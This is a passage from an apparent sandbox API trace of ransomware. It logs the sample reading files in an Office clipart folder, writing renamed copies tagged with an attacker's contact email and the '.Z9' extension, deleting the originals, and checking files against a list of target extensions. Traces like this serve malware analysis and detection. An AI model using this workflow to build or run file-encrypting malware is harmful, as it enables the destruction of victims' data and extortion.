	[0165.411] WriteFile (in: hFile=0x448, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.411] SetEndOfFile (hFile=0x448) returned 1
	[0165.411] CloseHandle (hObject=0x448) returned 1
	[0165.411] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.411] SetEndOfFile (hFile=0x484) returned 1
	[0165.415] CloseHandle (hObject=0x484) returned 1
	[0165.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1
	[0165.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.416] lstrlenW (lpString=".doc") returned 4
	[0165.416] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.416] lstrlenW (lpString=".docx") returned 5
	[0165.416] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.416] lstrlenW (lpString=".pdf") returned 4
	[0165.416] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.416] lstrlenW (lpString=".xls") returned 4
	[0165.416] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.416] lstrlenW (lpString=".xlsx") returned 5
	[0165.416] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.416] lstrlenW (lpString=".ppt") returned 4
	[0165.416] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.416] lstrlenW (lpString=".zip") returned 4
	[0165.416] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.416] lstrlenW (lpString=".rar") returned 4
	[0165.416] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.416] lstrlenW (lpString=".bz2") returned 4
	[0165.416] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.417] lstrlenW (lpString=".7z") returned 3
	[0165.417] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.417] lstrlenW (lpString=".dbf") returned 4
	[0165.417] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.417] lstrlenW (lpString=".1cd") returned 4
	[0165.417] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.417] lstrlenW (lpString=".jpg") returned 4
	[0165.417] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.417] lstrlenW (lpString=".doc") returned 4
	[0165.417] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.417] lstrlenW (lpString=".docx") returned 5
	[0165.417] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.417] lstrlenW (lpString=".pdf") returned 4
	[0165.417] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.417] lstrlenW (lpString=".xls") returned 4
	[0165.417] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.417] lstrlenW (lpString=".xlsx") returned 5
	[0165.417] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.417] lstrlenW (lpString=".ppt") returned 4
	[0165.417] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.417] lstrlenW (lpString=".zip") returned 4
	[0165.417] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.417] lstrlenW (lpString=".rar") returned 4
	[0165.417] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.417] lstrlenW (lpString=".bz2") returned 4
	[0165.417] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.417] lstrlenW (lpString=".7z") returned 3
	[0165.418] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.418] lstrlenW (lpString=".dbf") returned 4
	[0165.418] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.418] lstrlenW (lpString=".1cd") returned 4
	[0165.418] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68
	[0165.418] lstrlenW (lpString=".jpg") returned 4
	[0165.418] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.418] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0165.418] lstrlenW (lpString="CMNTY_01.MID") returned 12
	[0165.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.420] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=6970) returned 1
	[0165.420] CloseHandle (hObject=0x484) returned 1
	[0165.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220
	[0165.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.421] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.421] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0165.422] GetLastError () returned 0x0
	[0165.422] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x1b3a, lpOverlapped=0x0) returned 1
	[0165.523] WriteFile (in: hFile=0x448, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x1b40, lpOverlapped=0x0) returned 1
	[0165.525] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.525] WriteFile (in: hFile=0x448, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.525] SetEndOfFile (hFile=0x448) returned 1
	[0165.525] CloseHandle (hObject=0x448) returned 1
	[0165.526] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.526] SetEndOfFile (hFile=0x484) returned 1
	[0165.630] CloseHandle (hObject=0x484) returned 1
	[0165.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 1
	[0165.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.632] lstrlenW (lpString=".doc") returned 4
	[0165.632] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.632] lstrlenW (lpString=".docx") returned 5
	[0165.632] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.632] lstrlenW (lpString=".pdf") returned 4
	[0165.632] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.632] lstrlenW (lpString=".xls") returned 4
	[0165.632] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.632] lstrlenW (lpString=".xlsx") returned 5
	[0165.632] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.632] lstrlenW (lpString=".ppt") returned 4
	[0165.632] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.632] lstrlenW (lpString=".zip") returned 4
	[0165.632] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.632] lstrlenW (lpString=".rar") returned 4
	[0165.632] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.632] lstrlenW (lpString=".bz2") returned 4
	[0165.632] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.632] lstrlenW (lpString=".7z") returned 3
	[0165.632] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.632] lstrlenW (lpString=".dbf") returned 4
	[0165.632] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.632] lstrlenW (lpString=".1cd") returned 4
	[0165.632] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.633] lstrlenW (lpString=".jpg") returned 4
	[0165.633] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.633] lstrlenW (lpString=".doc") returned 4
	[0165.633] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.633] lstrlenW (lpString=".docx") returned 5
	[0165.633] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.633] lstrlenW (lpString=".pdf") returned 4
	[0165.633] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.633] lstrlenW (lpString=".xls") returned 4
	[0165.633] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.633] lstrlenW (lpString=".xlsx") returned 5
	[0165.633] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.633] lstrlenW (lpString=".ppt") returned 4
	[0165.633] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.633] lstrlenW (lpString=".zip") returned 4
	[0165.633] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.633] lstrlenW (lpString=".rar") returned 4
	[0165.633] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.633] lstrlenW (lpString=".bz2") returned 4
	[0165.633] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.633] lstrlenW (lpString=".7z") returned 3
	[0165.633] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.633] lstrlenW (lpString=".dbf") returned 4
	[0165.633] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.633] lstrlenW (lpString=".1cd") returned 4
	[0165.633] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68
	[0165.634] lstrlenW (lpString=".jpg") returned 4
	[0165.634] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.634] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0165.634] lstrlenW (lpString="EXPLR_01.MID") returned 12
	[0165.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.635] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=10562) returned 1
	[0165.635] CloseHandle (hObject=0x484) returned 1
	[0165.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220
	[0165.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.636] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.636] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.637] GetLastError () returned 0x0
	[0165.637] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2942, lpOverlapped=0x0) returned 1
	[0165.639] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2950, lpOverlapped=0x0) returned 1
	[0165.640] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.640] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.640] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.641] CloseHandle (hObject=0x4a8) returned 1
	[0165.641] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.641] SetEndOfFile (hFile=0x484) returned 1
	[0165.644] CloseHandle (hObject=0x484) returned 1
	[0165.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1
	[0165.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.645] lstrlenW (lpString=".doc") returned 4
	[0165.646] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.646] lstrlenW (lpString=".docx") returned 5
	[0165.646] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.646] lstrlenW (lpString=".pdf") returned 4
	[0165.646] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.646] lstrlenW (lpString=".xls") returned 4
	[0165.646] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.646] lstrlenW (lpString=".xlsx") returned 5
	[0165.646] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.646] lstrlenW (lpString=".ppt") returned 4
	[0165.646] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.646] lstrlenW (lpString=".zip") returned 4
	[0165.646] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.646] lstrlenW (lpString=".rar") returned 4
	[0165.646] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.646] lstrlenW (lpString=".bz2") returned 4
	[0165.646] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.646] lstrlenW (lpString=".7z") returned 3
	[0165.646] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.646] lstrlenW (lpString=".dbf") returned 4
	[0165.646] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.646] lstrlenW (lpString=".1cd") returned 4
	[0165.646] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.646] lstrlenW (lpString=".jpg") returned 4
	[0165.646] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.646] lstrlenW (lpString=".doc") returned 4
	[0165.646] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.647] lstrlenW (lpString=".docx") returned 5
	[0165.647] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.647] lstrlenW (lpString=".pdf") returned 4
	[0165.647] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.647] lstrlenW (lpString=".xls") returned 4
	[0165.647] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.647] lstrlenW (lpString=".xlsx") returned 5
	[0165.647] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.647] lstrlenW (lpString=".ppt") returned 4
	[0165.647] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.647] lstrlenW (lpString=".zip") returned 4
	[0165.647] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.647] lstrlenW (lpString=".rar") returned 4
	[0165.647] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.647] lstrlenW (lpString=".bz2") returned 4
	[0165.647] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.647] lstrlenW (lpString=".7z") returned 3
	[0165.647] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.647] lstrlenW (lpString=".dbf") returned 4
	[0165.647] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.647] lstrlenW (lpString=".1cd") returned 4
	[0165.647] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0165.647] lstrlenW (lpString=".jpg") returned 4
	[0165.647] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.647] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0165.648] lstrlenW (lpString="FALL_01.MID") returned 11
	[0165.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.648] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=4846) returned 1
	[0165.648] CloseHandle (hObject=0x484) returned 1
	[0165.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220
	[0165.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.649] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.649] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.650] GetLastError () returned 0x0
	[0165.650] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x12ee, lpOverlapped=0x0) returned 1
	[0165.652] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x12f0, lpOverlapped=0x0) returned 1
	[0165.653] ReadFile (in: hFile=0x484, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
